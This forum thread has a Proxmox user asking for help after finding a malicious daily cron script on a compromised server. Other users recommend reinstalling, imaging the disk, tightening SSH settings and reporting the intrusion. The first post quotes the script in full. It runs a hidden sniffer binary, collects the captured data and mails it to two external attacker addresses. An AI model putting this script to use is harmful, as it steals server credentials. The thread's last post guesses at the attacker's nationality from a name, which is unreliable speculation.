My PVE server is hacked

[tincboy]

I recently find out my Proxmox servers has been hacked,
There's a file at "/etc/cron.daily/dnsquery" which contains an script to send email to unknown addresses

#!/bin/sh
cd /usr/lib/
./popauth -r httpd.log > test
cat /usr/share/misc/blah/temp.log |uniq >> test
echo >/usr/share/misc/blah/temp.log
mail unul_catalin@yahoo.com -s "$(hostname -f)" < test
mail cata@catalinx.org -s "$(hostname -f)" < test
rm -rf test httpd.log
A=$PATH
killall -9 popauth
export PATH=/usr/lib/
popauth -w httpd.log &
export PATH=$A
~

Now i just want to install chrootkit and clamav to find out if there's any trojan on my server, but apt-get can't install anything and always shows errors like:

Get:1 http://ftp.us.debian.org/debian/ squeeze/main binutils amd64 2.20.1-16 [3,993 kB]
Get:2 http://ftp.us.debian.org/debian/ squeeze/main chkrootkit amd64 0.49-4 [322 kB]
Fetched 4,315 kB in 10s (426 kB/s)
Preconfiguring packages ...
Selecting previously deselected package binutils.
(Reading database ... 32094 files and directories currently installed.)
Unpacking binutils (from .../binutils_2.20.1-16_amd64.deb) ...
dpkg: error processing /var/cache/apt/archives/binutils_2.20.1-16_amd64.deb (--unpack):
 unable to create `/usr/bin/c++filt.dpkg-new' (while processing `./usr/bin/c++filt'): Permission denied
configured to not write apport reports
                                      dpkg-deb: subprocess paste killed by signal (Broken pipe)
Selecting previously deselected package chkrootkit.
Unpacking chkrootkit (from .../chkrootkit_0.49-4_amd64.deb) ...
dpkg: error processing /var/cache/apt/archives/chkrootkit_0.49-4_amd64.deb (--unpack):
 unable to create `/usr/sbin/chkrootkit.dpkg-new' (while processing `./usr/sbin/chkrootkit'): Permission denied
configured to not write apport reports
                                      dpkg-deb: subprocess paste killed by signal (Broken pipe)
Processing triggers for man-db ...
Errors were encountered while processing:
 /var/cache/apt/archives/binutils_2.20.1-16_amd64.deb
 /var/cache/apt/archives/chkrootkit_0.49-4_amd64.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)

Any suggestion on how to fix the apt-get?

 

[cmassoglia]

When a server is hacked the best practice is reinstall the server.

Is your hostnode accesible from Internet?.
Is your hostnode accesible from your VM?

 

[udo]

When a server is hacked the best practice is reinstall the server.
...

right,
but to learn who can this happens tincboy should do an copy of the system before (best with dd from a booted live-cd).

Udo

 

[tincboy]

I've copied the VMs to new hard drive with fresh Proxmox installation,
Also the hacked hdd saved to be analysed how it was compromised.

 

[Tozz]

My guess is weak passwords. Proxmox is basicly just Debian Squeeze, which (AFAIK) hasn't had any remote root bugs.

The apt-get issues are caused by your system beeing wrecked by the hacker. Even if you could fix it, you will never be 100% sure whether all backdoors and/or infected files are removed. The safest way is to reinstall your system. If your lucky the VM's were not harmed, and you could simply backup them and restore them after reinstallation.

 

[RobFantini]

Was the hacked system protected by a firewall?

 

[Nemesiz]

Was the hacked system protected by a firewall?

Firewall is only for control Internet access. Not protect from bugs.

 

[snowman66]

Was the hacked system protected by a firewall?

Basic port blocking is good to increase security but traditional firewall won't help you in case of attack on open port unless if you are using some more sophisticated firewall that can detect malicious behaviour on the network.

 

[tincboy]

The password was not that weak but it is possible that the password was found by attacker using a brute-force attack
I've moved the VMs to newly installed Proxmox to be 100% sure the virus is not in my virtualization platform anymore

 

[spirit]

The password was not that weak but it is possible that the password was found by attacker using a brute-force attack
I've moved the VMs to newly installed Proxmox to be 100% sure the virus is not in my virtualization platform anymore

If you keep your ssh open, you can add

LoginGraceTime 2m MaxAuthTries 6

to /etc/ssh/sshd_config, to avoid bruteforce

 

[RobFantini]

That did not answer the question .

 

[tincboy]

If you keep your ssh open, you can add

LoginGraceTime 2m MaxAuthTries 6

to /etc/ssh/sshd_config, to avoid bruteforce

Thanks for your tip, I've installed denyhosts instead

 

[sigxcpu]

1. From the name, "Catalin", the guy is from Romania.
2. He owns a domain, catalinx.org (he even has a vanity address "cata@")
3. There are more threads about this (e.g. http://forums.debian.net/viewtopic.php?f=30&t=74732)
4. The domain seems to be registered to a PO Box (probably using a stolen credit card)
5. An analysis of this attack here: http://www.kyos.ch/exclude/download/Kyos_IT_Security-Etude_Honeypot.pdf (French)

I think you can try to complain to authorities. They are pretty effective here, although you are not NASA or FBI, but it is worth a try